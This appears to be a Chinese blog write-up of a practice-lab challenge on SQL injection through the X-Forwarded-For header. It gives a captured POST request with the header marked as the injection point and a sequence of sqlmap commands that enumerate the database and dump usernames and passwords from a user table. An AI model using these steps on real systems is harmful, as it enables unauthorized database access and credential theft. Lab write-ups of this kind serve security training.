X-Forwarded-For注入漏洞过程记录
一、题目地址 https://www.mozhe.cn/bug/detail/QWxmdFFhVURDay90L0wxdmJXSkl5Zz09bW96aGUmozhe 二、使用工具
FireFox浏览器、SQLMAP 三、确认漏洞 题目说是X-Forwarded-For注入漏洞,先确认一下是不是 1. 随便输入账号密码后点击登录
2. 返回结果
弹窗有乱码,没关系,按F12打开调试窗口,在调试窗口中查看请求和响应
3. 弹窗信息
弹窗信息中告诉我,我的IP地址 27.17.120.22 被记录了,可能是记录到数据库中了,也就是将该IP写到了数据库中;竟然跟数据库有交互,那么可以猜
想,此处可能存在SQL注入漏洞;接下来继续确认
4. 服务端获取客户端IP地址的方式
服务端获取客户端IP地址的方式,其中一种是通过读取请求中X-Forwarded-For的字段值,确认服务端是不是使用这种方式获取客户端IP地址;编辑刚才的
请求,在请求头中加入X-Forwarded-For:111.23.21.23(这个是我们伪造的IP地址,随便填一个合法的IP地址即可),然后重新发送
可以看到,之前随意填的X-Forwarded-For字段中的IP地址 111.23.21.23 已经被记录了,这就确认了服务端是通过读取X-Forwarded-For的字段值
来获取客户端的IP地址的;下面直接用SQLMAP确认X-Forwarded-For存在SQL注入漏洞
四、SQLMAP跑注入漏洞
1. 将第二次登录请求的信息摘下来,新建成txt文件,这里我命名为x-forwarded-for.txt,并将x-forwarded-for的值改为*;文件内容如下所示:
POST /index.php HTTP/1.1
Host: 219.153.49.228:48584
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
Connection: keep-alive
Referer: http://219.153.49.228:48584/index.php
Upgrade-Insecure-Requests: 1
Pragma: no-cache
Cache-Control: no-cache
X-Forwarded-For:* username=fff&password=ddd
2. 确认漏洞(命令:sqlmap.py -r x-forwarded-for.txt --batch(需要在x-forwarded-for.txt文件所在的目录中跑))
3. 查询数据库(sqlmap.py -r x-forwarded-for.txt --batch --dbs)
4、查询当前数据库库(sqlmap.py -r x-forwarded-for.txt --batch --current-db)
5. 查询获取数据库中表(sqlmap.py -r x-forwarded-for.txt --batch --tables -D "webcalendar")
6. 查询表的字段(以user为例:sqlmap.py -r x-forwarded-for.txt --batch --columns -T "user" -D "webcalendar")
7. 查询表的内容(以user为例:sqlmap.py -r x-forwarded-for.txt --batch --dump -C "id,username,password" --columns
-T "user" -D "webcalendar")
最新文章
- 纯WebApi,不包含MVC Demo
- jQuery属性/CSS使用例子
- MRDS学习四——自动型机器车
- canvas画简单电路图
- 学习Uml开始
- redis windows下的环境搭建
- SQL 分组查询 group by
- C#下调用C++ SDK的编码常识
- JSP注意点
- BeanDefinitionRegistry extends AliasRegistry
- Spring 3.x 实践 第一个例子(Spring 3.x 企业应用开发实战读书笔记第二章)
- 分页插件jquery.simplePagination.js使用
- 【MySQL】SQL语法,between and 使用注意事项
- Linux下的C程序如何调用系统命令,并获取系统的输出信息到C程序中
- SpringBoot之彩色输出
- emwin 存在多个窗口时,如何获取当前所在窗口
- Mysql连接查询、子查询、联合查询 整理
- How use Nmon and ";Java Nmon Analyzer"; for Monitor Linux Performance
- centOS7安装kafka和zookeeper
- centos7的安装主要步骤选择
热门文章
- PAT (Basic Level) Practice (中文)1023 组个最小数 (20 分) (排序)
- os常用讲解
- ELK学习实验015:日志的自定义index配置
- Ubuntu 18.04安装配置Apache Ant
- ubuntu 16.04.1上安装并使用vsftpd
- windows下安装配置subline+Markdown
- 申请一个美国paypal账户
- BandwagonHost VPS CentOS7系统启用EPEL源
- 【Python】圆周率的计算
- [CQOI2015] 网络吞吐量 - 最大流,最短路